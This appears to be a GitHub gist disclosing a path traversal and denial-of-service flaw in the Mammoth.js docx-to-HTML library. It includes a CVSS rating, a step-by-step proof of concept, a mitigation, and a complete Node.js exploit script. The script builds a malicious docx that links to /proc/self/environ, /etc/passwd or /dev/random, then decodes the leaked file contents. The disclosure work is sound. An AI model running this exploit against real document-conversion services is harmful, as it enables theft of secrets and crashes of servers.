Skip to content

Instantly share code, notes, and snippets.

@AudunWA
Created October 14, 2025 19:13
Show Gist options
  • Select an option

  • Save AudunWA/4d690d9ae5efdafe7cf71d9c2ee90a10 to your computer and use it in GitHub Desktop.

Select an option

Save AudunWA/4d690d9ae5efdafe7cf71d9c2ee90a10 to your computer and use it in GitHub Desktop.
Mammoth.js Path Traversal & DoS

Path Traversal & DoS Vulnerability in Mammoth.js

Basic Information

Vulnerability Type: Path Traversal leading to Arbitrary File Read and Denial of Service (DoS)
Affected Product: Mammoth.js
Affected Versions: 0.3.25–1.10.0
Attack Vector: Remote
Attack Complexity: Low
Privileges Required: None
User Interaction: Required (processing a malicious docx file)
Scope: Changed (from docx processing context to host system files)
Confidentiality Impact: High
Integrity Impact: None
Availability Impact: High

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:H
CVSS 3.1 Score: 9.3 (Critical)

Description

A path traversal vulnerability exists in Mammoth, a library used to convert Word documents (.docx files) to HTML. When processing a docx file containing an image with an external link (r:link attribute instead of embedded r:embed), the library fails to properly validate the file path. This allows an attacker to read arbitrary files on the system where the conversion is performed.

The vulnerability occurs because the library resolves the URI to a file path and reads the file without proper path or file type validation. After reading, the content is then encoded as base64 and included in the HTML output as a data URI, effectively leaking the content of sensitive files.
Additionally, by crafting a docx file that links to special device files such as /dev/random or /dev/zero, an attacker can cause the library to attempt reading from an infinite stream. This consumes excessive resources (CPU, memory) and can cause the process performing the conversion to hang indefinitely or crash, resulting in a Denial of Service (DoS).

Proof of concept

Arbitrary file read:

  1. Create a standard docx structure.

  2. Modify the relationship file (word/_rels/document.xml.rels) with a link to a sensitive file:
    <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="file:///etc/passwd"/>

  3. Reference this relationship in the document using an a:blip with an r:link attribute:
    <w:p>

                 \<w:r\>  
                     \<w:drawing\>  
                         \<wp:inline\>  
                             \<wp:docPr id="1" name="Image" descr="Image description"/\>  
                             \<a:graphic\>  
                                 \<a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture"\>  
                                     \<pic:pic\>  
                                         \<pic:blipFill\>  
                                             \<a:blip r:link="rId1"/\>  
                                         \</pic:blipFill\>  
                                     \</pic:pic\>  
                                 \</a:graphicData\>  
                             \</a:graphic\>  
                         \</wp:inline\>  
                     \</w:drawing\>  
                 \</w:r\>  
             \</w:p\>
    
  4. Convert the file mammoth document.docx output.html

When processed, the content of /etc/passwd will be included in the output.html HTML file.

Denial of service:

  1. Follow the same steps, but include a relationship file (word/_rels/document.xml.rels) with a link to an infinite file stream instead:
    <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="file:///dev/random"/>

    When processed, Mammoth will attempt to read /dev/random indefinitely, consuming resources and potentially crashing the process.

Impact

This vulnerability allows attackers to:

  1. Read any file accessible to the process running the mammoth library (e.g., /etc/passwd, /proc/self/environ, configuration files).
  2. Cause a Denial of Service by forcing the application to read from infinite file streams (e.g., /dev/random), leading to resource exhaustion or process hang/crash.

The vulnerability is particularly concerning in web applications that allow users to upload docx files for conversion, as it could lead to server-side information disclosure and denial of service.

Mitigation

Upgrade to [email protected], as it fixes the issue by disabling external file access by default.

Credit

Audun Wigum Arbo

References

import fs from "node:fs";
import JSZip from "jszip";
import mammoth from "mammoth";
// This script demonstrates the path traversal vulnerability in mammoth
// It creates a malicious docx file that links to a sensitive file (e.g. /etc/passwd)
// and then converts it to HTML, which will include the sensitive file content
const FILE_TO_EXPLOIT = `/proc/self/environ`;
// const FILE_TO_EXPLOIT = `/etc/passwd`;
// const FILE_TO_EXPLOIT = `/etc/shells`;
// const FILE_TO_EXPLOIT = `/dev/random`;
async function createMaliciousDocx() {
console.log("Creating malicious docx file...");
const zip = new JSZip();
// Add required files for a minimal docx
// [Content_Types].xml
zip.file(
"[Content_Types].xml",
`
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
<Default Extension="xml" ContentType="application/xml"/>
<Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/>
</Types>
`.trim()
);
// _rels/.rels
zip.file(
"_rels/.rels",
`
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/>
</Relationships>
`.trim()
);
// word/_rels/document.xml.rels - This is where we add the malicious link
zip.file(
"word/_rels/document.xml.rels",
`
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="file://${FILE_TO_EXPLOIT}"/>
</Relationships>
`.trim()
);
// word/document.xml - Main document with a linked image
zip.file(
"word/document.xml",
`
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing"
xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"
xmlns:pic="http://schemas.openxmlformats.org/drawingml/2006/picture">
<w:body>
<w:p>
<w:r>
<w:t>Some text:</w:t>
</w:r>
</w:p>
<w:p>
<w:r>
<w:drawing>
<wp:inline>
<wp:docPr id="1" name="Image" descr="Image description"/>
<a:graphic>
<a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture">
<pic:pic>
<pic:blipFill>
<a:blip r:link="rId1"/>
</pic:blipFill>
</pic:pic>
</a:graphicData>
</a:graphic>
</wp:inline>
</w:drawing>
</w:r>
</w:p>
</w:body>
</w:document>
`.trim()
);
// Generate the docx file
const content = await zip.generateAsync({ type: "nodebuffer" });
fs.mkdirSync("./payload", { recursive: true });
fs.writeFileSync("./payload/malicious.docx", content);
console.log("Malicious docx created: ./payload/malicious.docx");
}
async function exploitVulnerability() {
console.log("Exploiting vulnerability...");
// Convert the malicious docx to HTML
const result = await mammoth.convertToHtml({
path: "./payload/malicious.docx",
});
// Write the HTML output to a file
fs.mkdirSync("./out", { recursive: true });
fs.writeFileSync("./out/output.html", result.value);
console.log("HTML output written to: ./out/output.html");
// Check if the vulnerability was successfully exploited
if (result.value.includes("data:")) {
console.log(
"SUCCESS: Vulnerability exploited! Sensitive file content leaked in the HTML output."
);
// Extract the base64-encoded data from the HTML
const dataUriRegex = /data:[^;]+;base64,([^"]+)/;
const match = result.value.match(dataUriRegex);
if (match && match[1]) {
// Decode the base64 data
const base64Data = match[1];
const decodedContent = Buffer.from(base64Data, "base64").toString(
"utf-8"
);
// Write the decoded content to a file
fs.writeFileSync("./out/decoded_content.txt", decodedContent);
console.log("\nDecoded file content:");
console.log("---------------------");
console.log(decodedContent);
console.log("---------------------");
console.log("Decoded content written to: ./out/decoded_content.txt");
} else {
console.log("Could not extract base64 data from the HTML output.");
}
} else {
console.log("FAILED: Could not exploit the vulnerability.");
}
}
async function main() {
try {
await createMaliciousDocx();
await exploitVulnerability();
} catch (error) {
console.error("Error:", error);
}
}
main();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment